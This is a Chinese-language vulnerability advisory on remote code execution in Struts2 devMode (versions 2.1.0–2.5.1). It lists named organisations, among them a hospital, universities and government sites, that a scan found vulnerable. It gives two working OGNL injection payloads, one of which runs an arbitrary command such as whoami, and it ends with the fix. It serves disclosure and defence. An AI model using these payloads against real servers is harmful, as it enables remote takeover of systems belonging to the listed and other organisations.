Struts2—devMode远程代码执行漏洞

2016年6月，启明星辰ADLab已将此漏洞提交至Struts2官方，昨日启明星辰将其公开。

evMode是为了便于开发人员调试程序，Struts2提供了一个devMode模式，可以方便查看程序错误以及日志等信息。

当Struts2中的devMode模式设置为true时，存在严重远程代码执行漏洞。如果WebService 启动权限为最高权限时，可远程执行任意命令，包括关机、建立新用户、以及删除服务器上所有文件等等。

在昨日对 158883 使用Struts2的网站进行扫描发现存在该漏洞有54个网站存在该漏洞，根据truts2官方描述，默认配置下devMode是关闭的。

但是在我们在扫描中发现一些重要的网站线上开启devMode模式并受该漏洞的影响。

中国科学院某系统

黑龙江林业厅某站

上海通用汽车某系统

湖南博物馆某处

西宁市第一人民医院某处

上海师范大学某系统

中国天翼某系统

宁夏工业学校某站

华南农业大学某处

湖南宁远公共资源交易中心某处

云南省工程检测协会某处

青铜峡职教中心某处

全国合理用药监测网某处

宁夏交通学校某处

北京智鼎在线某系统

吉林医学院某系统

受影响版本：Struts 2.1.0--2.5.1

漏洞验证POC:

?debug=command&expression=(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter())!%3D(%23wr.println(%23parameters.content%5B0%5D))!%3D(%23wr.flush())!%3D(%23wr.close())&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=7f604dbaced33b7d9c2d5e1212eba16e

在开启devMode模式中可输出 “7f604dbaced33b7d9c2d5e1212eba16e” 这段MD5值。

命令执行回显POC： 

?debug=browser&object=(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?(#context[#parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=whoami

修复方式：将devMode设置为在struts.properties中的devMode设置为false，或是在struts.xml中添加如下代码：<constant name="struts.devMode" value="false" />。